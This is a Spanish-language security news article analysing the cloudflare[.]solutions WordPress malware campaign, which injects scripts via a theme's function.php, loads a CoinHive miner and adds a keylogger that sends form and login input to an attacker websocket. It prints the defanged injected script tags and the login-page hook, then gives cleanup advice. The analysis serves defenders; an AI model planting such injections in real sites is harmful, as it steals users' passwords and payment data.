Hace unas semanas, escribimos sobre una infección masiva de WordPress que inyecta un ejecutable ofuscado pretendiendo ser jQuery y Google Analytics. En realidad, el ejecutable carga un minero de criptomonedas CoinHive desde un servidor de terceros.
También mencionamos, en una publicación en abril, sobre el malware cloudflare.solutions, que vino al mismo tiempo que los mineros de criptomonedas. En este momento, de acuerdo a reportes de PublcWWW, hay al menos 5,482 sitios web infectados con este malware. Esta campaña está en evolución y la última actualización agregó keyloggers a la mezcla.
Ejecutables Cloudflare[.]solutions Inyectados
La parte inyectada de este malware no cambió para nada. Utilizando el archivo function.php del tema, este ejecutable pone en cola de espera la carga de los siguientes ejecutables en las páginas de WordPress:
<script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1.0.0/reconnecting-websocket.js'></script> <script type='text/javascript' src='hxxp://cloudflare[.]solutions/ajax/libs/cors/cors.js'></script>
Las URLs del ejecutable también son las mismas, sin embargo, ahora utilizan un dominio de CloudFlare falso. El primer dominio todavía carga una copia legítima de la librería ReconnectingWebSocket (reconnecting-websocket.js).
¿Qué Cambió desde Abril?
El primer cambio está en la página de inicio del dominio, que ahora dice:
“Este servidor es parte de un proyecto de algoritmos de aprendizaje automático experimental.”
en lugar de:
“Este servidor es parte de la Red de Distribución de Cloudflare.”
El segundo cambio está en el ejecutable cors.js, que cuando lo decodificas, no encuentras ningún código sospechoso como las imágenes (banners) de la versión anterior. Lo único sospechoso es que el ejecutable carga Yandex.Metrika (la alternativa de Yandex para Google Analytics). Probablemente para mantener un registro de los sitios infectados. Por cierto, el ID del ejecutable de Yandex es 43930119; este puede ser encontrado en la página de inicio del dominio.
URLs Falsas de linter.js Se Convierten en un Keylogger
Ahora, probablemente notarás dos URLs de cdnjs.cloudflare.com con parámetros hexadecimales largos:
Esta vez, el nombre de dominio realmente pertenece a CloudFlare y podrías pensar que es algo legítimo. Sin embargo, si verificas la URL https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js, notarás que realmente no existe. Pero cuando verificas el código utilizando las variables linterkey, descubrirás que cdnjs.cloudflare.com es solamente una distracción, y que la verdadera carga son los números hexadecimales después del signo de interrogación en las URLs. El ejecutable las decodifica e inyecta lo siguiente en las páginas web:
Como puedes ver, es un keylogger. El ejecutable agrega un manejador de eventos a cada campo input de los sitios sitios web, esto para poder enviar los valores de dichos campos al atacante (wss://cloudflare[.]solutions:8085/) una vez que el usuario pasa al siguiente.
¿Qué tipo de datos se pueden robar de esta manera? Ya que estamos hablando de sitios web WordPress, estos sitios generalmente implementan campos de búsqueda y formularios para comentarios. Sin embargo, esto podría no llamar la atención de los malhechores. Pero, ¿qué tal si el sitio WordPress tuviera alguna funcionalidad ecommerce o incrustara un formulario de compra? En este escenario, el hacker podría llegar a robar información de pago.
Y por supuesto, cada sitio web WordPress tiene un formulario de inicio de sesión. Los hackers no se olvidan de esto, así que también inyectan el código del keylogger cloudflare[.]solutions a la página de inicio de sesión.
add_action('login_enqueue_scripts', 'add_js_scripts' );
El screenshot a continuación muestra el tráfico de websocket en la página de inicio de sesión de un sitio infectado.
Como puedes ver, tanto el nombre de usuario como la contraseña son enviadas al servidor cloudflare[.]solutions incluso antes de que el usuario haga clic en el botón de “Login”.
Mitigación
Como mencionamos, el código malicioso vive en el archivo function.php en el tema de WordPress. Tienes que eliminar la función add_js_scripts y todas las cláusulas add_action que mencionan a add_js_scripts. Y debido a la funcionalidad de keylogger de este malware, debes asumir que todas tus contraseñas de WordPress han sido comprometidas. El siguiente paso debe ser cambiar todas tus contraseñas (de hecho, deberías hacer esto después de cualquier hack). No te olvides de verificar tu sitio web y buscar otro tipo de infecciones; muchos de los sitios con el malware cloudflare.solutionstambién tenían inyectados ejecutables del minero de criptomonedas de CoinHive.
Entusiasta de la seguridad cibernética. Especialista en seguridad de la información, actualmente trabajando como especialista en infraestructura de riesgos e investigador.
Experiencia en procesos de riesgo y control, soporte de auditoría de seguridad, diseño y soporte de COB (continuidad del negocio), gestión de grupos de trabajo y estándares de seguridad de la información.
Envía tips de noticias a info@noticiasseguridad.com o www.instagram.com/iicsorg/.
También puedes encontrarnos en Telegram www.t.me/noticiasciberseguridad